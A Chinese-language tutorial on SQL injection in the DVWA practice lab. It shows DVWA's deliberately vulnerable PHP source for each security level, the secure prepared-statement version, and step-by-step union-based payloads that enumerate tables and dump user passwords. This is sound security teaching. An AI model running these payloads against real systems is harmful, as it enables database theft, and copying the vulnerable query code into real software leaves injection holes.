DVWA各等级sql注入
sql全等级注入
level:low
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) { //判断submit是否存在
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//sql的查询语句 寻找表段users中user_id对应的first_name,last_name对应的值
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysqli_query函数执行mysql查询 (其中 mysql_query()仅对 SELECT,SHOW,EXPLAIN 或 DESCRIBE 语句返回一个资源标识符,如果查询执行不正确则返回 FALSE
//die()函数输出一条信息,并推出当前脚本
//mysql_error()函数返回上一个mysql操作产生的文本错误信息
//or 前一个语句执行不成功时才会执行后面的语句
//and 前一个语句执行成功时,才会执行后面的语句
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
//什么是同一资源标识符: (URL)
<!-- 第一部分:协议(或称服务方式)
第二部分:存有资源的主机IP地址(有时包括端口号)
第三部分:主机资源的具体地址 -->
手工注入思路
- 判断是否存在注入,注入的类型是数字型还是字符型
- 猜解sql查询语句中的字段数
- 确定显示的字段顺序
- 获取当前数据库
- 获取数据库中的表
- 获取表中的字段名
- 下载数据
sql手工注入漏洞利用
现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。
判断是否存在注入,注入是字符型还是数字型
输入1,查询成功:
输入1’and ‘1’ =’2,查询失败,返回结果为空:
输入1’or ‘1’=’1,查询成功:
说明存在字符型注入
猜解SQL查询语句中的字段数
输入1′ or 1=1 order by 1 #,查询成功:
输入1′ or 1=1 order by 2 #,查询成功:
当输入到1′ or 1=1 order by 3 #,时查询失败
说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。
(这里也可以通过输入union select 1,2,3…来猜解字段数)
确定显示的字段顺序
输入1′ union select 1,2 #,查询成功:
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…
获取当前数据库
输入1′ union select 1,database() #,查询成功
可得到当前数据库为dvwa
获取数据库中的表
输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
数据库dvwa中一共有两个表,guestbook与users。
获取表中的字段名
输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查询成功:
说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
下载数据
输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:
得到了users表中所有用户的user_id,first_name,last_name,password的数据。
level:medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysql_real_escape_string( $id );
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Display values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
//mysql_close();
}
?>
- mysqli_real_escape_string()函数对用户输入的id参数进行过滤
- 可以把单引号['],双引号["] 反斜杠[],空字符[null]等进行转义(转义:把指定的字符转换成毫无意义的符号,比如PHP解析器不会把经过转义的引号当过引号来看待 ##PHP中有一个类似功能的函数:addashes())
方法
medium级换成了POST请求,加入保护形式,由于SQL查询没有引用参数,这将不能完全保护查询不被更改。 通过burp抓包,之后再修改参数。
level:high
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
$num = mysql_numrows( $result );
$i = 0;
while( $i < $num ) {
// Get values
$first = mysql_result( $result, $i, "first_name" );
$last = mysql_result( $result, $i, "last_name" );
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
// Increase loop count
$i++;
}
mysql_close();
}
?>
方法
- 与medium级别相比较,high只是在'Check database'中加入了LIMIT 1的限制,希望以此控制只输出一个结果。
- 由于添加limit 1的限制,可以通过#(注释符)将其注释掉,手工注入与low一致
- 需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
level:impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
按照所传递的数据类型分类:
- 数字型注入:
Select first_name,last_name from users where user_id =$id; - 字符型注入:
Select first_name,last_name from users where user_id='$id' - 字符型注入需要闭合$id的单引号
无论哪种类型,都可以通过直接输入单引号来判断是否存在注入点
可以分别输入3和1+2,根据回显结果判断数据类型
此dvwa版本为v1.9DVWA-1.9全级别教程之SQL Injection
DVWA各等级sql注入的更多相关文章
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- DVWA学习之SQL注入
DVWA学习之SQL注入 环境工具 dvwa 1.9 phpstudy firefox burpsuite 实验步骤 一.设置安全级别为LOW 1. 登录DVWA,并将安全级别设置为LOW 2. 进入 ...
- DVWA(三):SQL injection 全等级SQL注入
(本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- DVWA-全等级SQL注入(显注)
前言: 首先是DVWA环境的搭建: 1.DVWA. 2.PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开.或者自己搭建LAMP环境. ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- 1.3 DVWA亲测sql注入漏洞
LOW等级 我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...
- 1.2 DVWA亲测sql注入漏洞(blind)
LOW等级 我们尝试输入: 即如果页面返回为假,则说明后面的语句成功注入 据此我们可以知道 1' and 真 --> 页面显示 “User ID exists in the data ...
- DVWA各等级命令注入漏洞
漏洞描述 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后 ...
- DVWA全级别之SQL Injection(SQL注入)
DVWA全级别之SQL Injection(注入) DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...
随机推荐
- Nacos 多环境配置
本文探讨Nacos作为配置中心,如何实现不同环境(开发.测试.灰度.正式)的配置管理问题 就像Maven用groupId.artifactId.version三者来定位jar包在仓库中的位置一样,Na ...
- Git 分支相关
创建分支 git branch dev 切换分支 git checkout dev (dev换成-可切换为上一个使用的分支) 以上两个可合并为 git checkout -b dev 将新分支推送到远 ...
- Jmeter 处理接口乱码
第一步:添加 BeanShell Listener 第二步: 设置值 : prev.setDataEncoding("UTF-8") 第三步: 重新跑脚本,看接口返回值
- BurpSuite 抓安卓app包
认准夜神安卓模拟器,下了几个其他的模拟器都没有代理的功能 一.夜神安卓模拟器设置代理 1.点击右下角的设置 2.点击设置,进入到WIFI连接选项 3.进入列表后,鼠标点击wifi位置,长按左键,会出现 ...
- MySQL错误修复:Table xx is marked as crashed and last (automatic?) repair failed
问题一 Table xx is marked as crashed and last (automatic?) repair failed 有开发找到我,说数据库坏了,连不上数据库,看了下 MySQL ...
- 解决adober reader已停止工作的问题
公司电脑出现打开pdf阅读器后没到1分钟就闪退,应该是adobe做了什么正版审核策略,让安装了这个软件的电脑自动连接到adobe服务器验证导致. 解决方法:在C:\Windows\System32\d ...
- ABBYY FineReader 14创建PDF文档功能解析
使用ABBYY FineReader,您可以轻松查看和编辑任何类型的 PDF,真的是一款实至名归的PDF编辑转换器,您知道的,它能够保护.签署和编辑PDF文档,甚至还可以创建PDF文档,本文和小编一起 ...
- pdfFactory如何设置限制打印和浏览文档权限
当我们进行私密文件的分享时,除了要设置密码保护文件内容外,还要注意设置打印限制,防止他人利用打印的方式,进行纸质文件的传播. 在使用pdfFactory安全策略时,我们可以通过设定禁止打印的方式,完全 ...
- 下载器Folx怎么安装使用
应该使用哪个下载工具?这个如果是Windows上会有无数答案的问题,在Mac上却变得异常的纠结.比如Leech和Aria2,这两款软件,前者功能相对比较简单,后者的配置又稍微有点复杂,很难找到一款相对 ...
- 地图上显示点在点上标注当前点的id
HTML: <div class="form-group field-company-state"> <div style="width:1000px; ...